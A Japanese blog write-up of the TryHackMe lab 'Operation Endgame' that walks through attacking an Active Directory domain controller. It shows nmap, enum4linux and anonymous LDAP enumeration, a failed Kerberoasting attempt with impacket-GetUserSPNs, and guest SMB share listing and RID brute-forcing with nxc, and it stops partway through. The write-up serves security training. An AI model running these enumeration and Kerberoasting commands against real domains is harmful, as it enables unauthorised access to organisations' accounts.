0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

TryHackMe Writeup: Operation Endgame

0
Last updated at Posted at 2026-04-23

はじめに

本記事は、TryHackMeのwriteupです。
Roomは、Operation Endgame、Difficulty(難易度)はHardです。

このRoomでは、Operation EndgameにおけるActive Direcctory環境の悪用について学ぶことができます。

Recon

Port Scan

Nmap scan report for [target_ip]
Host is up, received reset ttl 126 (0.21s latency).
Scanned at 2026-04-18 21:16:04 JST for 144s

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 126 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 126 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack ttl 126 Microsoft Windows Kerberos (server time: 2026-04-18 12:16:11Z)
135/tcp   open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 126 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
443/tcp   open  ssl/https?    syn-ack ttl 126
|_ssl-date: 2026-04-18T12:18:19+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=thm-LABYRINTH-CA/domainComponent=thm
| Issuer: commonName=thm-LABYRINTH-CA/domainComponent=thm
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-12T07:26:00
| Not valid after:  2028-05-12T07:35:59
| MD5:     c249 3bc6 fd31 f2aa 83cb 2774 bc66 9151
| SHA-1:   397a 54df c1ff f9fd 57e4 a944 00e8 cfdb 6e3a 972b
| SHA-256: 6915 c48a f18a bfee e8a2 084f 5088 8358 2582 11b5 f01a 7da0 3443 117b 8cbd 6031
| -----BEGIN CERTIFICATE-----
| MIIDaTCCAlGgAwIBAgIQUiXALddQ7bNA6YS8dfCQKTANBgkqhkiG9w0BAQsFADBH
| MRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZFgN0aG0xGTAX
| BgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwHhcNMjMwNTEyMDcyNjAwWhcNMjgwNTEy
| MDczNTU5WjBHMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxEzARBgoJkiaJk/IsZAEZ
| FgN0aG0xGTAXBgNVBAMTEHRobS1MQUJZUklOVEgtQ0EwggEiMA0GCSqGSIb3DQEB
| AQUAA4IBDwAwggEKAoIBAQC/NNh6IN5jNgejLjqq9/RVDR42kxE0UZvnW6cB1LNb
| 0c4GyNmA1h+oLDpz1DonC3Yhp9XPQJIj4ejN1ErCQFMAxW4Xcd/Gt/LSCjdBHgmR
| R8wItUOpOoXkQtVRUE4I7vlWzxBuCVo644NaNzbfqVj7M1/nCBjn/PPd2fX3etSX
| EsaI6bYcdmKRimC/94UP8qTs6Z+KGasXUmb7Sj8vscncY8lFLe9qREuiRrom5Q8A
| NySO4t8mtmqIHrBb8zTTZ9N/HxEOPDafCSTOjRhDVsOXVuWllTJujjSu+jJlBiF/
| aiXM7mOmsxH1rqCUK9mhZFSf/OhvgsvAq66sTBs1huE1AgMBAAGjUTBPMAsGA1Ud
| DwQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBQJcLfjxXJyk7BxDCNC
| pJb9vgIdEzAQBgkrBgEEAYI3FQEEAwIBADANBgkqhkiG9w0BAQsFAAOCAQEAmnUK
| Wj9AoBc2fuoVml4Orlg+ce7x+1IBTpqeKaobBx/ez+i5mV2U45MgPHPwjHzf15bn
| 0BnYpJUhlEljx7+voM+pfP/9Q21v5iXjgIcH9FLau2nqhcQOnttNj8I4aoDr5rRG
| fJJv+hAuNXxr/Fy5M7oghCpNqxseEU9OcgIPRHp6X/8bTtEYWaHnD3GS6uUR2jai
| PhReAcCPTbRwMRA3KsGRaBF3+PsIOL0JtCR+QGfOugPhUJFOU7w0dwbFmzfRcgKw
| bJhEy3o0FL5aqKVC823QJE7LosyLdtAqtZY7OgtT0Do7RZzdsZ1If0JmYmHTSRVz
| 8CvPpcCDp68aiTtqgA==
|_-----END CERTIFICATE-----
| tls-alpn: 
|   h2
|_  http/1.1
445/tcp   open  microsoft-ds? syn-ack ttl 126
464/tcp   open  kpasswd5?     syn-ack ttl 126
593/tcp   open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 126
3268/tcp  open  ldap          syn-ack ttl 126 Microsoft Windows Active Directory LDAP (Domain: thm.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 126
3389/tcp  open  ms-wbt-server syn-ack ttl 126 Microsoft Terminal Services
|_ssl-date: 2026-04-18T12:18:19+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: AD
|   DNS_Domain_Name: thm.local
|   DNS_Computer_Name: ad.thm.local
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-18T12:17:10+00:00
| ssl-cert: Subject: commonName=ad.thm.local
| Issuer: commonName=ad.thm.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-17T12:13:45
| Not valid after:  2026-10-17T12:13:45
| MD5:     513c 3827 2e2c a645 6a6e 974f 41df dc3f
| SHA-1:   c705 13f5 4655 e77d 470d c1a6 4742 1aa4 b022 5e6b
| SHA-256: a6c2 94b2 7335 7c61 caa1 463f 0eff a8cb 75c4 b841 ba9f 1531 3631 a481 7135 ed50
| -----BEGIN CERTIFICATE-----
| MIIC3DCCAcSgAwIBAgIQdhdwVBPrK6JFhpxFZu2jiTANBgkqhkiG9w0BAQsFADAX
| MRUwEwYDVQQDEwxhZC50aG0ubG9jYWwwHhcNMjYwNDE3MTIxMzQ1WhcNMjYxMDE3
| MTIxMzQ1WjAXMRUwEwYDVQQDEwxhZC50aG0ubG9jYWwwggEiMA0GCSqGSIb3DQEB
| AQUAA4IBDwAwggEKAoIBAQDCEdS4IR4Lop7CGzax0ODQhzJb8hr7VCwJ9sRfTdF2
| C/wxJIEHRZso3z6UBtZGX7a8bq2zwmaB6+J3CQ+FDEuREjwfdA3ujdqnKvohesxl
| Qw9ECpc8AgBw05XiiR1Rm3ViTNxQJYqzExa1iLPCZ3MHyNOMLd2Ad9DEoTi7D6yB
| d3cZ7eNE7wgQyjx+jmGLHoADVdR64Y+86BvBmWv0KVud/6Yu+HvNTWJWenC6wUY9
| cIE8SioNuB8dCng84ttxAU8h/Y5C8kLVnP5hkERrzvLBWtlNztpWBKk1ttbBETX+
| EFXNPKPqztGf7yEOQwBfPAKZGAWI5y0IXTaLmUrJ/ti5AgMBAAGjJDAiMBMGA1Ud
| JQQMMAoGCCsGAQUFBwMBMAsGA1UdDwQEAwIEMDANBgkqhkiG9w0BAQsFAAOCAQEA
| ZYXW9zd7GD3xj3G2/k82KDrb2j/GePeaHwe/mbLm5XdjQUzG+np7bAdHLN73vtVK
| UltTTG+CZ4d8CCe4EvENabYAG9S9AMbDn6XekEHvAsqBPV3Yc0fiyD5cgE58C2uT
| EVG1LZ0pJ1JkA/1ivZQ4WTFQtwx4FXabgANuHkh2JUHRh9wVK4cAk5EMXiDgXJY+
| rtsmb5bKCj4WGR9zVCHoFxQpOYgibYUmF+YDg1DnsabC0yuP8rQFm/NwSc13DcWo
| Z8+nTOaL3GPmdTromK3x6XhywTrBIR4/jbwUdHzk35g70+pLMZ0A2dtBf4AwfDwV
| oANP8qXmbHnKXkQbCUD1dQ==
|_-----END CERTIFICATE-----
7680/tcp  open  pando-pub?    syn-ack ttl 126
9389/tcp  open  mc-nmf        syn-ack ttl 126 .NET Message Framing
47001/tcp open  http          syn-ack ttl 126 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49665/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49666/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49669/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 126 Microsoft Windows RPC over HTTP 1.0
49671/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49675/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49676/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49681/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49696/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49711/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49717/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
49732/tcp open  msrpc         syn-ack ttl 126 Microsoft Windows RPC
Service Info: Host: AD; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 25814/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 46874/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 12125/udp): CLEAN (Failed to receive data)
|   Check 4 (port 43375/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2026-04-18T12:17:11
|_  start_date: N/A
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 21:18
Completed NSE at 21:18, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 21:18
Completed NSE at 21:18, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 21:18
Completed NSE at 21:18, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.19 seconds
           Raw packets sent: 35 (1.516KB) | Rcvd: 32 (1.404KB)

上記ポートスキャンの結果を基に調査を行います。

enum4linux

Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Apr 18 21:27:06 2026

 =========================================( Target Information )=========================================
                                                                                                                              
Target ........... [target_ip]                                                                                              
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on [target_ip]  )===========================
                                                                                                                              
                                                                                                                              
[E] Can't find workgroup/domain                                                                                               
                                                                                                                              
                                                                                                                              

 ===============================( Nbtstat Information for [target_ip]  )===============================
                                                                                                                              
Looking up status of [target_ip]                                                                                             
No reply from [target_ip]

 ===================================( Session Check on [target_ip] )===================================
                                                                                                                              
                                                                                                                              
[+] Server [target_ip] allows sessions using username '', password ''                                                       
                                                                                                                              
                                                                                                                              
 ================================( Getting domain SID for [target_ip] )================================
                                                                                                                              
Domain Name: THM                                                                                                              
Domain Sid: S-1-5-21-1966530601-3185510712-10604624

[+] Host is part of a domain (not a workgroup)                                                                                
                                                                                                                              
                                                                                                                              
 ==================================( OS information on [target_ip] )==================================
                                                                                                                              
                                                                                                                              
[E] Can't get OS info with smbclient                                                                                          
                                                                                                                              
                                                                                                                              
[+] Got OS info for [target_ip] from srvinfo:                                                                               
do_cmd: Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED                                                        


 =======================================( Users on [target_ip] )=======================================
                                                                                                                              
Use of uninitialized value $users in print at ./enum4linux.pl line 972.                                                       
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value $users in print at ./enum4linux.pl line 986.
Use of uninitialized value $users in pattern match (m//) at ./enum4linux.pl line 988.

 =================================( Share Enumeration on [target_ip] )=================================
                                                                                                                              
do_connect: Connection to [target_ip] failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)                                      

        Sharename       Type      Comment
        ---------       ----      -------
Reconnecting with SMB1 for workgroup listing.
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on [target_ip]                                                                                 
                                                                                                                              
                                                                                                                              
 ===========================( Password Policy Information for [target_ip] )===========================
                                                                                                                              
Password:                                                                                                                     

[E] Unexpected error from polenum:                                                                                            
                                                                                                                              
                                                                                                                              

[+] Attaching to [target_ip] using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:[target_ip])

[+] Trying protocol 445/SMB...

        [!] Protocol failed: rpc_s_access_denied



[E] Failed to get password policy with rpcclient                                                                              
                                                                                                                              
                                                                                                                              

 ======================================( Groups on [target_ip] )======================================
                                                                                                                              
                                                                                                                              
[+] Getting builtin groups:                                                                                                   
                                                                                                                              
                                                                                                                              
[+]  Getting builtin group memberships:                                                                                       
                                                                                                                              
                                                                                                                              
[+]  Getting local groups:                                                                                                    
                                                                                                                              
                                                                                                                              
[+]  Getting local group memberships:                                                                                         
                                                                                                                              
                                                                                                                              
[+]  Getting domain groups:                                                                                                   
                                                                                                                              
                                                                                                                              
[+]  Getting domain group memberships:                                                                                        
                                                                                                                              
                                                                                                                              
 ==================( Users on [target_ip] via RID cycling (RIDS: 500-550,1000-1050) )==================
                                                                                                                              
                                                                                                                              
[I] Found new SID:                                                                                                            
S-1-5-21-1966530601-3185510712-10604624                                                                                       

[I] Found new SID:                                                                                                            
S-1-5-21-1966530601-3185510712-10604624                                                                                       

[+] Enumerating users using SID S-1-5-21-1966530601-3185510712-10604624 and logon username '', password ''                    
                                                                                                                              
S-1-5-21-1966530601-3185510712-10604624-500 THM\Administrator (Local User)                                                    
S-1-5-21-1966530601-3185510712-10604624-501 THM\Guest (Local User)
S-1-5-21-1966530601-3185510712-10604624-502 THM\krbtgt (Local User)
S-1-5-21-1966530601-3185510712-10604624-512 THM\Domain Admins (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-513 THM\Domain Users (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-514 THM\Domain Guests (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-515 THM\Domain Computers (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-516 THM\Domain Controllers (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-517 THM\Cert Publishers (Local Group)
S-1-5-21-1966530601-3185510712-10604624-518 THM\Schema Admins (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-519 THM\Enterprise Admins (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-520 THM\Group Policy Creator Owners (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-521 THM\Read-only Domain Controllers (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-522 THM\Cloneable Domain Controllers (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-525 THM\Protected Users (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-526 THM\Key Admins (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-527 THM\Enterprise Key Admins (Domain Group)
S-1-5-21-1966530601-3185510712-10604624-1008 THM\AD$ (Local User)

[+] Enumerating users using SID S-1-5-21-803298453-2984830555-3352418973 and logon username '', password ''                   
                                                                                                                              
S-1-5-21-803298453-2984830555-3352418973-500 AD\Administrator (Local User)                                                    
S-1-5-21-803298453-2984830555-3352418973-501 AD\Guest (Local User)
S-1-5-21-803298453-2984830555-3352418973-503 AD\DefaultAccount (Local User)
S-1-5-21-803298453-2984830555-3352418973-504 AD\WDAGUtilityAccount (Local User)
S-1-5-21-803298453-2984830555-3352418973-513 AD\None (Domain Group)

 ===============================( Getting printer info for [target_ip] )===============================
                                                                                                                              
do_cmd: Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED                                                       


enum4linux complete on Sat Apr 18 21:36:40 2026

上記により、Password Policy Informationに対してパスワード認証があり、SIDRIDからUsersが列挙されていることがわかります。

Scanning

糸鎚が何も見えなさそうですが、一度試せるものがあります。
ldapsearchを使用して、ドメインコントローラー対して、LDAP Null Bind(匿名バインド)を許可しているかを調べてみます。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ ldapsearch -x -H ldap://[target_ip] -b "DC=thm,DC=local"
# extended LDIF
#
# LDAPv3
# base <DC=thm,DC=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# thm.local
dn: DC=thm,DC=local
objectClass: top
objectClass: domain
objectClass: domainDNS
distinguishedName: DC=thm,DC=local
instanceType: 5
whenCreated: 20230512072440.0Z
whenChanged: 20260418121336.0Z
subRefs: DC=ForestDnsZones,DC=thm,DC=local
subRefs: DC=DomainDnsZones,DC=thm,DC=local
subRefs: CN=Configuration,DC=thm,DC=local
uSNCreated: 4099
dSASignature:: AQAAACgAAAAAAAAAAAAAAAAAAAAAAAAAzIq23BrAck2BE8AI/Pqy+g==
uSNChanged: 286789
name: thm
objectGUID:: uJV0oyUyQUCfgYWXQdbMjA==
creationTime: 134209880165348782
forceLogoff: -9223372036854775808
lockoutDuration: -6000000000
lockOutObservationWindow: -6000000000
lockoutThreshold: 0
maxPwdAge: -36288000000000
minPwdAge: -864000000000
minPwdLength: 7
modifiedCountAtLastProm: 0
nextRid: 1008
pwdProperties: 0
pwdHistoryLength: 24
objectSid:: AQQAAAAAAAUVAAAAKeA2dTgJ371Q0KEA
serverState: 1
uASCompat: 1
modifiedCount: 1
auditingPolicy:: AAE=
nTMixedDomain: 0
rIDManagerReference: CN=RID Manager$,CN=System,DC=thm,DC=local
fSMORoleOwner: CN=NTDS Settings,CN=AD,CN=Servers,CN=Default-First-Site-Name,CN
 =Sites,CN=Configuration,DC=thm,DC=local
systemFlags: -1946157056
wellKnownObjects: B:32:6227F0AF1FC2410D8E3BB10615BB5B0F:CN=NTDS Quotas,DC=thm,
 DC=local
wellKnownObjects: B:32:F4BE92A4C777485E878E9421D53087DB:CN=Microsoft,CN=Progra
 m Data,DC=thm,DC=local
wellKnownObjects: B:32:09460C08AE1E4A4EA0F64AEE7DAA1E5A:CN=Program Data,DC=thm
 ,DC=local
wellKnownObjects: B:32:22B70C67D56E4EFB91E9300FCA3DC1AA:CN=ForeignSecurityPrin
 cipals,DC=thm,DC=local
wellKnownObjects: B:32:18E2EA80684F11D2B9AA00C04F79F805:CN=Deleted Objects,DC=
 thm,DC=local
wellKnownObjects: B:32:2FBAC1870ADE11D297C400C04FD8D5CD:CN=Infrastructure,DC=t
 hm,DC=local
wellKnownObjects: B:32:AB8153B7768811D1ADED00C04FD8D5CD:CN=LostAndFound,DC=thm
 ,DC=local
wellKnownObjects: B:32:AB1D30F3768811D1ADED00C04FD8D5CD:CN=System,DC=thm,DC=lo
 cal
wellKnownObjects: B:32:A361B2FFFFD211D1AA4B00C04FD7D83A:OU=Domain Controllers,
 DC=thm,DC=local
.......
.......

すると、結果として多くの情報を収集できました。
閲覧したところ、enum4linuxでも列挙されていないユーザーを収集するために以下のようなコマンドを実行します。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ ldapsearch -x -H ldap://10.48.183.252 -b "DC=thm,DC=local" "(objectClass=user)" > users_full.txt
                                                                                                                              
┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ grep -i "description" users_full.txt
description: Tier 1 User
description: Tier 1 User
description: Tier 1 User
description: Tier 1 User
description: Tier 1 User
description: Tier 1 User
description: Tier 1 User
....
....
description: Tier 1 User
description: Tier 1 User

$ grep -i "servicePrincipalName" users_full.txt
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ad.thm.local
servicePrincipalName: ldap/ADD/THM
servicePrincipalName: HOST/AD/thm.local
servicePrincipalName: ldap/LABYRINTH/ForestDnsZones.thm.local
servicePrincipalName: HOST/LABYRINTH/THM
servicePrincipalName: ldap/AD/ForestDnsZones.thm.local
servicePrincipalName: ldap/ADD/ForestDnsZones.thm.local
servicePrincipalName: ldap/LABYRINTH/THM
servicePrincipalName: ldap/LABYRINTH/DomainDnsZones.thm.local
servicePrincipalName: HOST/ADD/thm.local
servicePrincipalName: ldap/AD/DomainDnsZones.thm.local
servicePrincipalName: ldap/ADD/DomainDnsZones.thm.local
servicePrincipalName: HOST/LABYRINTH/thm.local
servicePrincipalName: GC/ADD/thm.local
servicePrincipalName: ldap/LABYRINTH/thm.local
servicePrincipalName: GC/LABYRINTH/thm.local
servicePrincipalName: ldap/AD/thm.local
servicePrincipalName: ldap/ADD/thm.local
servicePrincipalName: GC/AD/thm.local
servicePrincipalName: HOST/ADD/THM
servicePrincipalName: TERMSRV/LABYRINTH
servicePrincipalName: RestrictedKrbHost/LABYRINTH
servicePrincipalName: HOST/LABYRINTH
servicePrincipalName: ldap/LABYRINTH
servicePrincipalName: HOST/AD/THM
servicePrincipalName: ldap/AD/THM
servicePrincipalName: ldap/ad.thm.local/ForestDnsZones.thm.local
servicePrincipalName: ldap/ad.thm.local/DomainDnsZones.thm.local
servicePrincipalName: TERMSRV/AD
servicePrincipalName: TERMSRV/ad.thm.local
servicePrincipalName: DNS/ad.thm.local
servicePrincipalName: GC/ad.thm.local/thm.local
servicePrincipalName: RestrictedKrbHost/ad.thm.local
servicePrincipalName: RestrictedKrbHost/AD
servicePrincipalName: HOST/ad.thm.local/THM
servicePrincipalName: HOST/AD
servicePrincipalName: HOST/ad.thm.local
servicePrincipalName: HOST/ad.thm.local/thm.local
servicePrincipalName: ldap/ad.thm.local/THM
servicePrincipalName: ldap/AD
servicePrincipalName: ldap/ad.thm.local
servicePrincipalName: ldap/ad.thm.local/thm.local
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/add.thm.local
servicePrincipalName: ldap/add.thm.local/ForestDnsZones.thm.local
servicePrincipalName: ldap/add.thm.local/DomainDnsZones.thm.local
servicePrincipalName: TERMSRV/ADD
servicePrincipalName: TERMSRV/add.thm.local
servicePrincipalName: DNS/add.thm.local
servicePrincipalName: GC/add.thm.local/thm.local
servicePrincipalName: RestrictedKrbHost/add.thm.local
servicePrincipalName: RestrictedKrbHost/ADD
servicePrincipalName: HOST/add.thm.local/THM
servicePrincipalName: HOST/ADD
servicePrincipalName: HOST/add.thm.local
servicePrincipalName: HOST/add.thm.local/thm.local
servicePrincipalName: ldap/add.thm.local/THM
servicePrincipalName: ldap/ADD
servicePrincipalName: ldap/add.thm.local
servicePrincipalName: ldap/add.thm.local/thm.local
servicePrincipalName: RPC/dcb68acc-c01a-4d72-8113-c008fcfab2fa._msdcs.thm.loca
servicePrincipalName: E3514235-4B06-11D1-AB04-00C04FC2DCD2/dcb68acc-c01a-4d72-
servicePrincipalName: ldap/dcb68acc-c01a-4d72-8113-c008fcfab2fa._msdcs.thm.loc

すると、簡単にユーザーアカウントのユーザー名を収集できました。

ただ、これだと何がなんだかよくわからないですね

とりあえず、オペレーティング システムの以前のバージョンを実行しているクライアントとサーバーをサポートするために使用されるログオン名とSPNアカウントが一致するユーザーアカウントを特定するとアプローチとして良さそうな気がします。

必然と権限が高いアカウントを探索できるためです。

以下のようなコマンドで検索してみました。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ grep -E "sAMAccountName|servicePrincipalName" users_full.txt | grep -B 1 "servicePrincipalName"
sAMAccountName: AD$
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/ad.thm.local
servicePrincipalName: ldap/ADD/THM
servicePrincipalName: HOST/AD/thm.local
servicePrincipalName: ldap/LABYRINTH/ForestDnsZones.thm.local
servicePrincipalName: HOST/LABYRINTH/THM
servicePrincipalName: ldap/AD/ForestDnsZones.thm.local
servicePrincipalName: ldap/ADD/ForestDnsZones.thm.local
servicePrincipalName: ldap/LABYRINTH/THM
servicePrincipalName: ldap/LABYRINTH/DomainDnsZones.thm.local
servicePrincipalName: HOST/ADD/thm.local
servicePrincipalName: ldap/AD/DomainDnsZones.thm.local
servicePrincipalName: ldap/ADD/DomainDnsZones.thm.local
servicePrincipalName: HOST/LABYRINTH/thm.local
servicePrincipalName: GC/ADD/thm.local
servicePrincipalName: ldap/LABYRINTH/thm.local
servicePrincipalName: GC/LABYRINTH/thm.local
servicePrincipalName: ldap/AD/thm.local
servicePrincipalName: ldap/ADD/thm.local
servicePrincipalName: GC/AD/thm.local
servicePrincipalName: HOST/ADD/THM
servicePrincipalName: TERMSRV/LABYRINTH
servicePrincipalName: RestrictedKrbHost/LABYRINTH
servicePrincipalName: HOST/LABYRINTH
servicePrincipalName: ldap/LABYRINTH
servicePrincipalName: HOST/AD/THM
servicePrincipalName: ldap/AD/THM
servicePrincipalName: ldap/ad.thm.local/ForestDnsZones.thm.local
servicePrincipalName: ldap/ad.thm.local/DomainDnsZones.thm.local
servicePrincipalName: TERMSRV/AD
servicePrincipalName: TERMSRV/ad.thm.local
servicePrincipalName: DNS/ad.thm.local
servicePrincipalName: GC/ad.thm.local/thm.local
servicePrincipalName: RestrictedKrbHost/ad.thm.local
servicePrincipalName: RestrictedKrbHost/AD
servicePrincipalName: HOST/ad.thm.local/THM
servicePrincipalName: HOST/AD
servicePrincipalName: HOST/ad.thm.local
servicePrincipalName: HOST/ad.thm.local/thm.local
servicePrincipalName: ldap/ad.thm.local/THM
servicePrincipalName: ldap/AD
servicePrincipalName: ldap/ad.thm.local
servicePrincipalName: ldap/ad.thm.local/thm.local
servicePrincipalName: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/add.thm.local
servicePrincipalName: ldap/add.thm.local/ForestDnsZones.thm.local
servicePrincipalName: ldap/add.thm.local/DomainDnsZones.thm.local
servicePrincipalName: TERMSRV/ADD
servicePrincipalName: TERMSRV/add.thm.local
servicePrincipalName: DNS/add.thm.local
servicePrincipalName: GC/add.thm.local/thm.local
servicePrincipalName: RestrictedKrbHost/add.thm.local
servicePrincipalName: RestrictedKrbHost/ADD
servicePrincipalName: HOST/add.thm.local/THM
servicePrincipalName: HOST/ADD
servicePrincipalName: HOST/add.thm.local
servicePrincipalName: HOST/add.thm.local/thm.local
servicePrincipalName: ldap/add.thm.local/THM
servicePrincipalName: ldap/ADD
servicePrincipalName: ldap/add.thm.local
servicePrincipalName: ldap/add.thm.local/thm.local
servicePrincipalName: RPC/dcb68acc-c01a-4d72-8113-c008fcfab2fa._msdcs.thm.loca
servicePrincipalName: E3514235-4B06-11D1-AB04-00C04FC2DCD2/dcb68acc-c01a-4d72-
servicePrincipalName: ldap/dcb68acc-c01a-4d72-8113-c008fcfab2fa._msdcs.thm.loc
--
sAMAccountName: CODY_ROY
servicePrincipalName: HTTP/server.secure.com

すると、なんとヒットしました。

どうやら、CODY_ROYというユーザー名を鍵に調査を進めると良さそうです。

Exploitation

impacket-GetUserSPNsを使用したKerberoasting攻撃により、TGSチケットを発行するのかを実際に検証してみましょう。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ impacket-GetUserSPNs thm.local/ -dc-ip [target_ip] -request -no-pass
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName    Name      MemberOf                                            PasswordLastSet             LastLogon                   Delegation 
----------------------  --------  --------------------------------------------------  --------------------------  --------------------------  ----------
HTTP/server.secure.com  CODY_ROY  CN=Remote Desktop Users,CN=Builtin,DC=thm,DC=local  2024-05-10 23:06:07.611965  2024-04-25 00:41:18.970113             



[-] CCache file is not found. Skipping...
[-] invalid principal syntax

残念ながら、発行してくれなさそうです。

先ほど検出されたserver.secure.comにも何かないかをディレクトリ列挙してみます。

┌──(rikuxx㉿kali)-[~/tryhackme/Operation_Endgame]
└─$ gobuster dir -w /usr/share/wordlists/dirb/common.txt -u server.secure.com 
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://server.secure.com
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
aspnet_client        (Status: 301) [Size: 162] [--> http://server.secure.com/aspnet_client/]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished

特になさそうです。

色々悩みましたが、ちょっとだけ他人のwriteupをこっそり閲覧しました。

完全に忘れていました。guestユーザーからSamabaの共有フォルダを列挙できるそうです。

実際に検証しました。

$ nxc smb [target_ip] -u 'guest' -p '' --shares
SMB         10.48.183.252   445    AD               [*] Windows 10 / Server 2019 Build 17763 x64 (name:AD) (domain:thm.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         [target_ip]   445    AD               [+] thm.local\guest: 
SMB         [target_ip]   445    AD               [*] Enumerated shares
SMB         [target_ip]   445    AD               Share           Permissions     Remark
SMB         [target_ip]   445    AD               -----           -----------     ------
SMB         [target_ip]   445    AD               ADMIN$                          Remote Admin
SMB         [target_ip]   445    AD               C$                              Default share
SMB         [target_ip]   445    AD               IPC$            READ            Remote IPC
SMB         [target_ip]   445    AD               NETLOGON                        Logon server share 
SMB         [target_ip]   445    AD               SYSVOL                          Logon server share 

痛恨のミスです。

ここから、再度ユーザーアカウントを収集します。

$ nxc smb [target_ip] -u 'guest' -p '' --rid > rid_brute.txt

$ cat rid_brute.txt | grep "SidTypeUser" | cut -d'\' -f2 | cut -d' ' -f1 > usernames.txt

